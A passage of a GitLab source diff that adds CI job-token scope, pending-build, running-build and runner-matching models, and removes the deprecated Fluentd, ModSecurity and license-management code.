+ -- append and truncate
+ local current_data = redis.call("get", key)
+ new_data = current_data:sub(1, offset) .. new_data
+ redis.call("set", key, new_data, "ex", expire)
+ return redis.call("strlen", key)
+ end
+ EOS
+
+ def data(model)
+ with_redis do |redis|
+ redis.get(key(model))
+ end
+ end
+
+ def set_data(model, new_data)
+ with_redis do |redis|
+ redis.set(key(model), new_data, ex: CHUNK_REDIS_TTL)
+ end
+ end
+
+ def append_data(model, new_data, offset)
+ with_redis do |redis|
+ redis.eval(LUA_APPEND_CHUNK, keys: [key(model)], argv: [new_data, offset])
+ end
+ end
+
+ def size(model)
+ with_redis do |redis|
+ redis.strlen(key(model))
+ end
+ end
+
+ def delete_data(model)
+ delete_keys([[model.build_id, model.chunk_index]])
+ end
+
+ def keys(relation)
+ relation.pluck(:build_id, :chunk_index)
+ end
+
+ def delete_keys(keys)
+ return if keys.empty?
+
+ keys = keys.map { |key| key_raw(*key) }
+
+ with_redis do |redis|
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/224171
+ Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
+ redis.del(keys)
+ end
+ end
+ end
+
+ private
+
+ def key(model)
+ key_raw(model.build_id, model.chunk_index)
+ end
+
+ def key_raw(build_id, chunk_index)
+ "gitlab:ci:trace:#{build_id.to_i}:chunks:#{chunk_index.to_i}"
+ end
+ end
+ end
+end
diff --git a/app/models/ci/build_trace_chunks/redis_trace_chunks.rb b/app/models/ci/build_trace_chunks/redis_trace_chunks.rb
new file mode 100644
index 00000000000..06e315b0aaf
--- /dev/null
+++ b/app/models/ci/build_trace_chunks/redis_trace_chunks.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Ci
+ module BuildTraceChunks
+ class RedisTraceChunks < RedisBase
+ private
+
+ def with_redis
+ Gitlab::Redis::TraceChunks.with { |redis| yield(redis) }
+ end
+ end
+ end
+end
diff --git a/app/models/ci/build_trace_section.rb b/app/models/ci/build_trace_section.rb
index 5091e3ff04a..036f611a61c 100644
--- a/app/models/ci/build_trace_section.rb
+++ b/app/models/ci/build_trace_section.rb
@@ -4,11 +4,14 @@ module Ci
class BuildTraceSection < ApplicationRecord
extend SuppressCompositePrimaryKeyWarning
extend Gitlab::Ci::Model
+ include IgnorableColumns
belongs_to :build, class_name: 'Ci::Build'
belongs_to :project
belongs_to :section_name, class_name: 'Ci::BuildTraceSectionName'
validates :section_name, :build, :project, presence: true, allow_blank: false
+
+ ignore_column :build_id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
end
end
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index 5248a80f710..6a7a2b3f6bd 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -18,7 +18,6 @@ module Ci
ACCESSIBILITY_REPORT_FILE_TYPES = %w[accessibility].freeze
NON_ERASABLE_FILE_TYPES = %w[trace].freeze
TERRAFORM_REPORT_FILE_TYPES = %w[terraform].freeze
- UNSUPPORTED_FILE_TYPES = %i[license_management].freeze
SAST_REPORT_TYPES = %w[sast].freeze
SECRET_DETECTION_REPORT_TYPES = %w[secret_detection].freeze
DEFAULT_FILE_NAMES = {
@@ -35,7 +34,6 @@ module Ci
dependency_scanning: 'gl-dependency-scanning-report.json',
container_scanning: 'gl-container-scanning-report.json',
dast: 'gl-dast-report.json',
- license_management: 'gl-license-management-report.json',
license_scanning: 'gl-license-scanning-report.json',
performance: 'performance.json',
browser_performance: 'browser-performance.json',
@@ -45,7 +43,7 @@ module Ci
dotenv: '.env',
cobertura: 'cobertura-coverage.xml',
terraform: 'tfplan.json',
- cluster_applications: 'gl-cluster-applications.json',
+ cluster_applications: 'gl-cluster-applications.json', # DEPRECATED: https://gitlab.com/gitlab-org/gitlab/-/issues/333441
requirements: 'requirements.json',
coverage_fuzzing: 'gl-coverage-fuzzing.json',
api_fuzzing: 'gl-api-fuzzing-report.json'
@@ -74,7 +72,6 @@ module Ci
dependency_scanning: :raw,
container_scanning: :raw,
dast: :raw,
- license_management: :raw,
license_scanning: :raw,
# All these file formats use `raw` as we need to store them uncompressed
@@ -102,7 +99,6 @@ module Ci
dependency_scanning
dotenv
junit
- license_management
license_scanning
lsif
metrics
@@ -124,7 +120,6 @@ module Ci
mount_file_store_uploader JobArtifactUploader
validates :file_format, presence: true, unless: :trace?, on: :create
- validate :validate_supported_file_format!, on: :create
validate :validate_file_format!, unless: :trace?, on: :create
before_save :set_size, if: :file_changed?
@@ -199,8 +194,7 @@ module Ci
container_scanning: 7, ## EE-specific
dast: 8, ## EE-specific
codequality: 9, ## EE-specific
- license_management: 10, ## EE-specific
- license_scanning: 101, ## EE-specific till 13.0
+ license_scanning: 101, ## EE-specific
performance: 11, ## EE-specific till 13.2
metrics: 12, ## EE-specific
metrics_referee: 13, ## runner referees
@@ -233,14 +227,6 @@ module Ci
hashed_path: 2
}
- def validate_supported_file_format!
- return if Feature.disabled?(:drop_license_management_artifact, project, default_enabled: true)
-
- if UNSUPPORTED_FILE_TYPES.include?(self.file_type&.to_sym)
- errors.add(:base, _("File format is no longer supported"))
- end
- end
-
def validate_file_format!
unless TYPE_AND_FORMAT_PAIRS[self.file_type&.to_sym] == self.file_format&.to_sym
errors.add(:base, _('Invalid file format with specified file type'))
diff --git a/app/models/ci/job_token/project_scope_link.rb b/app/models/ci/job_token/project_scope_link.rb
new file mode 100644
index 00000000000..283ad4a190d
--- /dev/null
+++ b/app/models/ci/job_token/project_scope_link.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+# The connection between a source project (which defines the job token scope)
+# and a target project which is the one allowed to be accessed by the job token.
+
+module Ci
+ module JobToken
+ class ProjectScopeLink < ApplicationRecord
+ self.table_name = 'ci_job_token_project_scope_links'
+
+ belongs_to :source_project, class_name: 'Project'
+ belongs_to :target_project, class_name: 'Project'
+ belongs_to :added_by, class_name: 'User'
+
+ scope :from_project, ->(project) { where(source_project: project) }
+ scope :to_project, ->(project) { where(target_project: project) }
+
+ validates :source_project, presence: true
+ validates :target_project, presence: true
+ validate :not_self_referential_link
+
+ private
+
+ def not_self_referential_link
+ return unless source_project && target_project
+
+ if source_project == target_project
+ self.errors.add(:target_project, _("can't be the same as the source project"))
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/ci/job_token/scope.rb b/app/models/ci/job_token/scope.rb
new file mode 100644
index 00000000000..42cfdc21d66
--- /dev/null
+++ b/app/models/ci/job_token/scope.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+# This model represents the surface where a CI_JOB_TOKEN can be used.
+# A Scope is initialized with the project that the job token belongs to,
+# and indicates what are all the other projects that the token could access.
+#
+# By default a job token can only access its own project, which is the same
+# project that defines the scope.
+# By adding ScopeLinks to the scope we can allow other projects to be accessed
+# by the job token. This works as an allowlist of projects for a job token.
+#
+# If a project is not included in the scope we should not allow the job user
+# to access it since operations using CI_JOB_TOKEN should be considered untrusted.
+
+module Ci
+ module JobToken
+ class Scope
+ attr_reader :source_project
+
+ def initialize(project)
+ @source_project = project
+ end
+
+ def includes?(target_project)
+ # if the setting is disabled any project is considered to be in scope.
+ return true unless source_project.ci_job_token_scope_enabled?
+
+ target_project.id == source_project.id ||
+ Ci::JobToken::ProjectScopeLink.from_project(source_project).to_project(target_project).exists?
+ end
+
+ def all_projects
+ Project.from_union([
+ Project.id_in(source_project),
+ Project.where_exists(
+ Ci::JobToken::ProjectScopeLink
+ .from_project(source_project)
+ .where('projects.id = ci_job_token_project_scope_links.target_project_id'))
+ ], remove_duplicates: false)
+ end
+ end
+ end
+end
diff --git a/app/models/ci/pending_build.rb b/app/models/ci/pending_build.rb
new file mode 100644
index 00000000000..b9a8a44bd6b
--- /dev/null
+++ b/app/models/ci/pending_build.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Ci
+ class PendingBuild < ApplicationRecord
+ extend Gitlab::Ci::Model
+
+ belongs_to :project
+ belongs_to :build, class_name: 'Ci::Build'
+
+ def self.upsert_from_build!(build)
+ entry = self.new(build: build, project: build.project, protected: build.protected?)
+
+ entry.validate!
+
+ self.upsert(entry.attributes.compact, returning: %w[build_id], unique_by: :build_id)
+ end
+ end
+end
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index f0a2c074584..ae06bea5a02 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -644,6 +644,10 @@ module Ci
end
end
+ def update_builds_coverage
+ builds.with_coverage_regex.without_coverage.each(&:update_coverage)
+ end
+
def batch_lookup_report_artifact_for_file_type(file_type)
latest_report_artifacts
.values_at(*::Ci::JobArtifact.associated_file_types_for(file_type.to_s))
@@ -660,15 +664,9 @@ module Ci
# Return a hash of file type => array of 1 job artifact
def latest_report_artifacts
::Gitlab::SafeRequestStore.fetch("pipeline:#{self.id}:latest_report_artifacts") do
- # Note we use read_attribute(:project_id) to read the project
- # ID instead of self.project_id. The latter appears to load
- # the Project model. This extra filter doesn't appear to
- # affect query plan but included to ensure we don't leak the
- # wrong informaiton.
::Ci::JobArtifact.where(
id: job_artifacts.with_reports
.select('max(ci_job_artifacts.id) as id')
- .where(project_id: self.read_attribute(:project_id))
.group(:file_type)
)
.preload(:job)
@@ -928,6 +926,12 @@ module Ci
Ci::Build.latest.where(pipeline: self_and_descendants)
end
+ def environments_in_self_and_descendants
+ environment_ids = self_and_descendants.joins(:deployments).select(:'deployments.environment_id')
+
+ Environment.where(id: environment_ids)
+ end
+
# Without using `unscoped`, caller scope is also included into the query.
# Using `unscoped` here will be redundant after Rails 6.1
def self_and_descendants
@@ -1252,6 +1256,10 @@ module Ci
end
end
+ def build_matchers
+ self.builds.build_matchers(project)
+ end
+
private
def add_message(severity, content)
diff --git a/app/models/ci/pipeline_schedule.rb b/app/models/ci/pipeline_schedule.rb
index 9e5d517c1fe..effe2d95a99 100644
--- a/app/models/ci/pipeline_schedule.rb
+++ b/app/models/ci/pipeline_schedule.rb
@@ -3,6 +3,7 @@
module Ci
class PipelineSchedule < ApplicationRecord
extend Gitlab::Ci::Model
+ extend ::Gitlab::Utils::Override
include Importable
include StripAttribute
include CronSchedulable
@@ -55,6 +56,17 @@ module Ci
variables&.map(&:to_runner_variable) || []
end
+ override :set_next_run_at
+ def set_next_run_at
+ self.next_run_at = ::Ci::PipelineSchedules::CalculateNextRunService # rubocop: disable CodeReuse/ServiceClass
+ .new(project)
+ .execute(self, fallback_method: method(:calculate_next_run_at))
+ end
+
+ def daily_limit
+ project.actual_limits.limit_for(:ci_daily_pipeline_schedule_triggers)
+ end
+
private
def worker_cron_expression
diff --git a/app/models/ci/processable.rb b/app/models/ci/processable.rb
index 15c57550159..e2f257eab25 100644
--- a/app/models/ci/processable.rb
+++ b/app/models/ci/processable.rb
@@ -120,7 +120,7 @@ module Ci
raise NotImplementedError
end
- def instantized_environment
+ def persisted_environment
raise NotImplementedError
end
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index 8c877c2b818..71110ef0696 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -10,6 +10,8 @@ module Ci
include TokenAuthenticatable
include IgnorableColumns
include FeatureGate
+ include Gitlab::Utils::StrongMemoize
+ include TaggableQueries
add_authentication_token_field :token, encrypted: -> { Feature.enabled?(:ci_runners_tokens_optional_encryption, default_enabled: true) ? :optional : :required }
@@ -58,6 +60,7 @@ module Ci
scope :active, -> { where(active: true) }
scope :paused, -> { where(active: false) }
scope :online, -> { where('contacted_at > ?', online_contact_time_deadline) }
+ scope :recent, -> { where('ci_runners.created_at > :date OR ci_runners.contacted_at > :date', date: 3.months.ago) }
# The following query using negation is cheaper than using `contacted_at <= ?`
# because there are less runners online than have been created. The
# resulting query is quickly finding online ones and then uses the regular
@@ -131,6 +134,8 @@ module Ci
end
scope :order_contacted_at_asc, -> { order(contacted_at: :asc) }
+ scope :order_contacted_at_desc, -> { order(contacted_at: :desc) }
+ scope :order_created_at_asc, -> { order(created_at: :asc) }
scope :order_created_at_desc, -> { order(created_at: :desc) }
scope :with_tags, -> { preload(:tags) }
@@ -161,20 +166,17 @@ module Ci
numericality: { greater_than_or_equal_to: 0.0,
message: 'needs to be non-negative' }
+ validates :config, json_schema: { filename: 'ci_runner_config' }
+
# Searches for runners matching the given query.
#
- # This method uses ILIKE on PostgreSQL.
- #
- # This method performs a *partial* match on tokens, thus a query for "a"
- # will match any runner where the token contains the letter "a". As a result
- # you should *not* use this method for non-admin purposes as otherwise users
- # might be able to query a list of all runners.
+ # This method uses ILIKE on PostgreSQL for the description field and performs a full match on tokens.
#
# query - The search query as a String.
#
# Returns an ActiveRecord::Relation.
def self.search(query)
- fuzzy_search(query, [:token, :description])
+ where(token: query).or(fuzzy_search(query, [:description]))
end
def self.online_contact_time_deadline
@@ -190,13 +192,54 @@ module Ci
end
def self.order_by(order)
- if order == 'contacted_asc'
+ case order
+ when 'contacted_asc'
order_contacted_at_asc
+ when 'contacted_desc'
+ order_contacted_at_desc
+ when 'created_at_asc'
+ order_created_at_asc
else
order_created_at_desc
end
end
+ def self.runner_matchers
+ unique_params = [
+ :runner_type,
+ :public_projects_minutes_cost_factor,
+ :private_projects_minutes_cost_factor,
+ :run_untagged,
+ :access_level,
+ Arel.sql("(#{arel_tag_names_array.to_sql})")
+ ]
+
+ # we use distinct to de-duplicate data
+ distinct.pluck(*unique_params).map do |values|
+ Gitlab::Ci::Matching::RunnerMatcher.new({
+ runner_type: values[0],
+ public_projects_minutes_cost_factor: values[1],
+ private_projects_minutes_cost_factor: values[2],
+ run_untagged: values[3],
+ access_level: values[4],
+ tag_list: values[5]
+ })
+ end
+ end
+
+ def runner_matcher
+ strong_memoize(:runner_matcher) do
+ Gitlab::Ci::Matching::RunnerMatcher.new({
+ runner_type: runner_type,
+ public_projects_minutes_cost_factor: public_projects_minutes_cost_factor,
+ private_projects_minutes_cost_factor: private_projects_minutes_cost_factor,
+ run_untagged: run_untagged,
+ access_level: access_level,
+ tag_list: tag_list
+ })
+ end
+ end
+
def assign_to(project, current_user = nil)
if instance_type?
self.runner_type = :project_type
@@ -298,6 +341,14 @@ module Ci
end
def tick_runner_queue
+ ##
+ # We only stick a runner to primary database to be able to detect the
+ # replication lag in `EE::Ci::RegisterJobService#execute`. The
+ # intention here is not to execute `Ci::RegisterJobService#execute` on
+ # the primary database.
+ #
+ ::Gitlab::Database::LoadBalancing::Sticking.stick(:runner, id)
+
SecureRandom.hex.tap do |new_update|
::Gitlab::Workhorse.set_key_and_notify(runner_queue_key, new_update,
expire: RUNNER_QUEUE_EXPIRY_TIME, overwrite: true)
@@ -315,21 +366,24 @@ module Ci
end
def heartbeat(values)
- values = values&.slice(:version, :revision, :platform, :architecture, :ip_address) || {}
- values[:contacted_at] = Time.current
+ ##
+ # We can safely ignore writes performed by a runner heartbeat. We do
+ # not want to upgrade database connection proxy to use the primary
+ # database after heartbeat write happens.
+ #
+ ::Gitlab::Database::LoadBalancing::Session.without_sticky_writes do
+ values = values&.slice(:version, :revision, :platform, :architecture, :ip_address, :config) || {}
+ values[:contacted_at] = Time.current
- cache_attributes(values)
+ cache_attributes(values)
- # We save data without validation, it will always change due to `contacted_at`
- self.update_columns(values) if persist_cached_data?
+ # We save data without validation, it will always change due to `contacted_at`
+ self.update_columns(values) if persist_cached_data?
+ end
end
def pick_build!(build)
- if Feature.enabled?(:ci_reduce_queries_when_ticking_runner_queue, self, default_enabled: :yaml)
- tick_runner_queue if matches_build?(build)
- else
- tick_runner_queue if can_pick?(build)
- end
+ tick_runner_queue if matches_build?(build)
end
def uncached_contacted_at
@@ -395,13 +449,7 @@ module Ci
end
def matches_build?(build)
- return false if self.ref_protected? && !build.protected?
-
- accepting_tags?(build)
- end
-
- def accepting_tags?(build)
- (run_untagged? || build.has_tags?) && (build.tag_list - tag_list).empty?
+ runner_matcher.matches?(build.build_matcher)
end
end
end
diff --git a/app/models/ci/runner_namespace.rb b/app/models/ci/runner_namespace.rb
index f819dda207d..41a4c9012ff 100644
--- a/app/models/ci/runner_namespace.rb
+++ b/app/models/ci/runner_namespace.rb
@@ -7,6 +7,7 @@ module Ci
self.limit_name = 'ci_registered_group_runners'
self.limit_scope = :group
+ self.limit_relation = :recent_runners
self.limit_feature_flag = :ci_runner_limits
belongs_to :runner, inverse_of: :runner_namespaces
@@ -16,6 +17,10 @@ module Ci
validates :runner_id, uniqueness: { scope: :namespace_id }
validate :group_runner_type
+ def recent_runners
+ ::Ci::Runner.belonging_to_group(namespace_id).recent
+ end
+
private
def group_runner_type
diff --git a/app/models/ci/runner_project.rb b/app/models/ci/runner_project.rb
index c26b8183b52..af2595ce4af 100644
--- a/app/models/ci/runner_project.rb
+++ b/app/models/ci/runner_project.rb
@@ -7,11 +7,16 @@ module Ci
self.limit_name = 'ci_registered_project_runners'
self.limit_scope = :project
+ self.limit_relation = :recent_runners
self.limit_feature_flag = :ci_runner_limits
belongs_to :runner, inverse_of: :runner_projects
belongs_to :project, inverse_of: :runner_projects
+ def recent_runners
+ ::Ci::Runner.belonging_to_project(project_id).recent
+ end
+
validates :runner_id, uniqueness: { scope: :project_id }
end
end
diff --git a/app/models/ci/running_build.rb b/app/models/ci/running_build.rb
new file mode 100644
index 00000000000..9446cfa05da
--- /dev/null
+++ b/app/models/ci/running_build.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Ci
+ class RunningBuild < ApplicationRecord
+ extend Gitlab::Ci::Model
+
+ belongs_to :project
+ belongs_to :build, class_name: 'Ci::Build'
+ belongs_to :runner, class_name: 'Ci::Runner'
+
+ enum runner_type: ::Ci::Runner.runner_types
+
+ def self.upsert_shared_runner_build!(build)
+ unless build.shared_runner_build?
+ raise ArgumentError, 'build has not been picked by a shared runner'
+ end
+
+ entry = self.new(build: build,
+ project: build.project,
+ runner: build.runner,
+ runner_type: build.runner.runner_type)
+
+ entry.validate!
+
+ self.upsert(entry.attributes.compact, returning: %w[build_id], unique_by: :build_id)
+ end
+ end
+end
diff --git a/app/models/ci/stage.rb b/app/models/ci/stage.rb
index ef920b2d589..d00066b778d 100644
--- a/app/models/ci/stage.rb
+++ b/app/models/ci/stage.rb
@@ -7,6 +7,9 @@ module Ci
include Ci::HasStatus
include Gitlab::OptimisticLocking
include Presentable
+ include IgnorableColumns
+
+ ignore_column :id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
enum status: Ci::HasStatus::STATUSES_ENUM
diff --git a/app/models/clusters/applications/fluentd.rb b/app/models/clusters/applications/fluentd.rb
deleted file mode 100644
index 91aa422b859..00000000000
--- a/app/models/clusters/applications/fluentd.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Applications
- class Fluentd < ApplicationRecord
- VERSION = '2.4.0'
- CILIUM_CONTAINER_NAME = 'cilium-monitor'
-
- self.table_name = 'clusters_applications_fluentd'
-
- include ::Clusters::Concerns::ApplicationCore
- include ::Clusters::Concerns::ApplicationStatus
- include ::Clusters::Concerns::ApplicationVersion
- include ::Clusters::Concerns::ApplicationData
-
- default_value_for :version, VERSION
- default_value_for :port, 514
- default_value_for :protocol, :tcp
-
- enum protocol: { tcp: 0, udp: 1 }
-
- validate :has_at_least_one_log_enabled?
-
- def chart
- 'fluentd/fluentd'
- end
-
- def repository
- 'https://gitlab-org.gitlab.io/cluster-integration/helm-stable-archive'
- end
-
- def install_command
- helm_command_module::InstallCommand.new(
- name: 'fluentd',
- repository: repository,
- version: VERSION,
- rbac: cluster.platform_kubernetes_rbac?,
- chart: chart,
- files: files
- )
- end
-
- def values
- content_values.to_yaml
- end
-
- private
-
- def has_at_least_one_log_enabled?
- if !waf_log_enabled && !cilium_log_enabled
- errors.add(:base, _("At least one logging option is required to be enabled"))
- end
- end
-
- def content_values
- YAML.load_file(chart_values_file).deep_merge!(specification)
- end
-
- def specification
- {
- "configMaps" => {
- "output.conf" => output_configuration_content,
- "general.conf" => general_configuration_content
- }
- }
- end
-
- def output_configuration_content
- <<~EOF
- <match kubernetes.**>
- @type remote_syslog
- @id out_kube_remote_syslog
- host #{host}
- port #{port}
- program fluentd
- hostname ${kubernetes_host}
- protocol #{protocol}
- packet_size 131072
- <buffer kubernetes_host>
- </buffer>
- <format>
- @type ltsv
- </format>
- </match>
- EOF
- end
-
- def general_configuration_content
- <<~EOF
- <match fluent.**>
- @type null
- </match>
- <source>
- @type http
- port 9880
- bind 0.0.0.0
- </source>
- <source>
- @type tail
- @id in_tail_container_logs
- path #{path_to_logs}
- pos_file /var/log/fluentd-containers.log.pos
- tag kubernetes.*
- read_from_head true
- <parse>
- @type json
- time_format %Y-%m-%dT%H:%M:%S.%NZ
- </parse>
- </source>
- EOF
- end
-
- def path_to_logs
- path = []
- path << "/var/log/containers/*#{Ingress::MODSECURITY_LOG_CONTAINER_NAME}*.log" if waf_log_enabled
- path << "/var/log/containers/*#{CILIUM_CONTAINER_NAME}*.log" if cilium_log_enabled
- path.join(',')
- end
- end
- end
-end
diff --git a/app/models/clusters/applications/ingress.rb b/app/models/clusters/applications/ingress.rb
index e7d4d737b8e..3a8c314efe4 100644
--- a/app/models/clusters/applications/ingress.rb
+++ b/app/models/clusters/applications/ingress.rb
@@ -7,10 +7,6 @@ module Clusters
class Ingress < ApplicationRecord
VERSION = '1.40.2'
INGRESS_CONTAINER_NAME = 'nginx-ingress-controller'
- MODSECURITY_LOG_CONTAINER_NAME = 'modsecurity-log'
- MODSECURITY_MODE_LOGGING = "DetectionOnly"
- MODSECURITY_MODE_BLOCKING = "On"
- MODSECURITY_OWASP_RULES_FILE = "/etc/nginx/owasp-modsecurity-crs/nginx-modsecurity.conf"
self.table_name = 'clusters_applications_ingress'
@@ -20,22 +16,18 @@ module Clusters
include ::Clusters::Concerns::ApplicationData
include AfterCommitQueue
include UsageStatistics
+ include IgnorableColumns
default_value_for :ingress_type, :nginx
- default_value_for :modsecurity_enabled, true
default_value_for :version, VERSION
- default_value_for :modsecurity_mode, :logging
+
+ ignore_column :modsecurity_enabled, remove_with: '14.2', remove_after: '2021-07-22'
+ ignore_column :modsecurity_mode, remove_with: '14.2', remove_after: '2021-07-22'
enum ingress_type: {
nginx: 1
}
- enum modsecurity_mode: { logging: 0, blocking: 1 }
-
- scope :modsecurity_not_installed, -> { where(modsecurity_enabled: nil) }
- scope :modsecurity_enabled, -> { where(modsecurity_enabled: true) }
- scope :modsecurity_disabled, -> { where(modsecurity_enabled: false) }
-
FETCH_IP_ADDRESS_DELAY = 30.seconds
state_machine :status do
@@ -92,96 +84,13 @@ module Clusters
private
- def specification
- return {} unless modsecurity_enabled
-
- {
- "controller" => {
- "config" => {
- "enable-modsecurity" => "true",
- "enable-owasp-modsecurity-crs" => "false",
- "modsecurity-snippet" => modsecurity_snippet_content,
- "modsecurity.conf" => modsecurity_config_content
- },
- "extraContainers" => [
- {
- "name" => MODSECURITY_LOG_CONTAINER_NAME,
- "image" => "busybox",
- "args" => [
- "/bin/sh",
- "-c",
- "tail -F /var/log/modsec/audit.log"
- ],
- "volumeMounts" => [
- {
- "name" => "modsecurity-log-volume",
- "mountPath" => "/var/log/modsec",
- "readOnly" => true
- }
- ],
- "livenessProbe" => {
- "exec" => {
- "command" => [
- "ls",
- "/var/log/modsec/audit.log"
- ]
- }
- }
- }
- ],
- "extraVolumeMounts" => [
- {
- "name" => "modsecurity-template-volume",
- "mountPath" => "/etc/nginx/modsecurity/modsecurity.conf",
- "subPath" => "modsecurity.conf"
- },
- {
- "name" => "modsecurity-log-volume",
- "mountPath" => "/var/log/modsec"
- }
- ],
- "extraVolumes" => [
- {
- "name" => "modsecurity-template-volume",
- "configMap" => {
- "name" => "ingress-#{INGRESS_CONTAINER_NAME}",
- "items" => [
- {
- "key" => "modsecurity.conf",
- "path" => "modsecurity.conf"
- }
- ]
- }
- },
- {
- "name" => "modsecurity-log-volume",
- "emptyDir" => {}
- }
- ]
- }
- }
- end
-
- def modsecurity_config_content
- File.read(modsecurity_config_file_path)
- end
-
- def modsecurity_config_file_path
- Rails.root.join('vendor', 'ingress', 'modsecurity.conf')
- end
-
def content_values
- YAML.load_file(chart_values_file).deep_merge!(specification)
+ YAML.load_file(chart_values_file)
end
def application_jupyter_installed?
cluster.application_jupyter&.installed?
end
-
- def modsecurity_snippet_content
- sec_rule_engine = logging? ? MODSECURITY_MODE_LOGGING : MODSECURITY_MODE_BLOCKING
- "SecRuleEngine #{sec_rule_engine}\nInclude #{MODSECURITY_OWASP_RULES_FILE}"
- end
end
end
end
diff --git a/app/models/clusters/applications/knative.rb b/app/models/clusters/applications/knative.rb
index 6867d7b6934..0e7cbb35e47 100644
--- a/app/models/clusters/applications/knative.rb
+++ b/app/models/clusters/applications/knative.rb
@@ -141,13 +141,13 @@ module Clusters
end
def install_knative_metrics
- return [] unless cluster.application_prometheus_available?
+ return [] unless cluster.application_prometheus&.available?
[Gitlab::Kubernetes::KubectlCmd.apply_file(METRICS_CONFIG)]
end
def delete_knative_istio_metrics
- return [] unless cluster.application_prometheus_available?
+ return [] unless cluster.application_prometheus&.available?
[Gitlab::Kubernetes::KubectlCmd.delete("--ignore-not-found", "-f", METRICS_CONFIG)]
end
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
index e8d56072b89..49840e3a2e7 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.28.0'
+ VERSION = '0.29.0'
self.table_name = 'clusters_applications_runners'
diff --git a/app/models/clusters/cluster.rb b/app/models/clusters/cluster.rb
index 4877ced795c..2fff0a69a26 100644
--- a/app/models/clusters/cluster.rb
+++ b/app/models/clusters/cluster.rb
@@ -21,7 +21,6 @@ module Clusters
Clusters::Applications::Jupyter.application_name => Clusters::Applications::Jupyter,
Clusters::Applications::Knative.application_name => Clusters::Applications::Knative,
Clusters::Applications::ElasticStack.application_name => Clusters::Applications::ElasticStack,
- Clusters::Applications::Fluentd.application_name => Clusters::Applications::Fluentd,
Clusters::Applications::Cilium.application_name => Clusters::Applications::Cilium
}.freeze
DEFAULT_ENVIRONMENT = '*'
@@ -68,7 +67,6 @@ module Clusters
has_one_cluster_application :jupyter
has_one_cluster_application :knative
has_one_cluster_application :elastic_stack
- has_one_cluster_application :fluentd
has_one_cluster_application :cilium
has_many :kubernetes_namespaces
@@ -104,8 +102,8 @@ module Clusters
delegate :available?, to: :application_helm, prefix: true, allow_nil: true
delegate :available?, to: :application_ingress, prefix: true, allow_nil: true
delegate :available?, to: :application_knative, prefix: true, allow_nil: true
- delegate :available?, to: :application_elastic_stack, prefix: true, allow_nil: true
delegate :available?, to: :integration_elastic_stack, prefix: true, allow_nil: true
+ delegate :available?, to: :integration_prometheus, prefix: true, allow_nil: true
delegate :external_ip, to: :application_ingress, prefix: true, allow_nil: true
delegate :external_hostname, to: :application_ingress, prefix: true, allow_nil: true
@@ -138,11 +136,10 @@ module Clusters
scope :gcp_installed, -> { gcp_provided.joins(:provider_gcp).merge(Clusters::Providers::Gcp.with_status(:created)) }
scope :aws_installed, -> { aws_provided.joins(:provider_aws).merge(Clusters::Providers::Aws.with_status(:created)) }
- scope :with_enabled_modsecurity, -> { joins(:application_ingress).merge(::Clusters::Applications::Ingress.modsecurity_enabled) }
scope :with_available_elasticstack, -> { joins(:application_elastic_stack).merge(::Clusters::Applications::ElasticStack.available) }
scope :with_available_cilium, -> { joins(:application_cilium).merge(::Clusters::Applications::Cilium.available) }
scope :distinct_with_deployed_environments, -> { joins(:environments).merge(::Deployment.success).distinct }
- scope :preload_elasticstack, -> { preload(:application_elastic_stack) }
+ scope :preload_elasticstack, -> { preload(:integration_elastic_stack) }
scope :preload_environments, -> { preload(:environments) }
scope :managed, -> { where(managed: true) }
@@ -171,18 +168,16 @@ module Clusters
state_machine :cleanup_status, initial: :cleanup_not_started do
state :cleanup_not_started, value: 1
- state :cleanup_uninstalling_applications, value: 2
state :cleanup_removing_project_namespaces, value: 3
state :cleanup_removing_service_account, value: 4
state :cleanup_errored, value: 5
event :start_cleanup do |cluster|
- transition [:cleanup_not_started, :cleanup_errored] => :cleanup_uninstalling_applications
+ transition [:cleanup_not_started, :cleanup_errored] => :cleanup_removing_project_namespaces
end
event :continue_cleanup do
transition(
- cleanup_uninstalling_applications: :cleanup_removing_project_namespaces,
cleanup_removing_project_namespaces: :cleanup_removing_service_account)
end
@@ -195,13 +190,7 @@ module Clusters
cluster.cleanup_status_reason = status_reason if status_reason
end
- after_transition [:cleanup_not_started, :cleanup_errored] => :cleanup_uninstalling_applications do |cluster|
- cluster.run_after_commit do
- Clusters::Cleanup::AppWorker.perform_async(cluster.id)
- end
- end
-
- after_transition cleanup_uninstalling_applications: :cleanup_removing_project_namespaces do |cluster|
+ after_transition [:cleanup_not_started, :cleanup_errored] => :cleanup_removing_project_namespaces do |cluster|
cluster.run_after_commit do
Clusters::Cleanup::ProjectNamespaceWorker.perform_async(cluster.id)
end
@@ -325,7 +314,7 @@ module Clusters
end
def elastic_stack_adapter
- application_elastic_stack || integration_elastic_stack
+ integration_elastic_stack
end
def elasticsearch_client
@@ -333,11 +322,7 @@ module Clusters
end
def elastic_stack_available?
- if application_elastic_stack_available? || integration_elastic_stack_available?
- true
- else
- false
- end
+ !!integration_elastic_stack_available?
end
def kubernetes_namespace_for(environment, deployable: environment.last_deployable)
@@ -391,12 +376,8 @@ module Clusters
end
end
- def application_prometheus_available?
- integration_prometheus&.available? || application_prometheus&.available?
- end
-
def prometheus_adapter
- integration_prometheus || application_prometheus
+ integration_prometheus
end
private
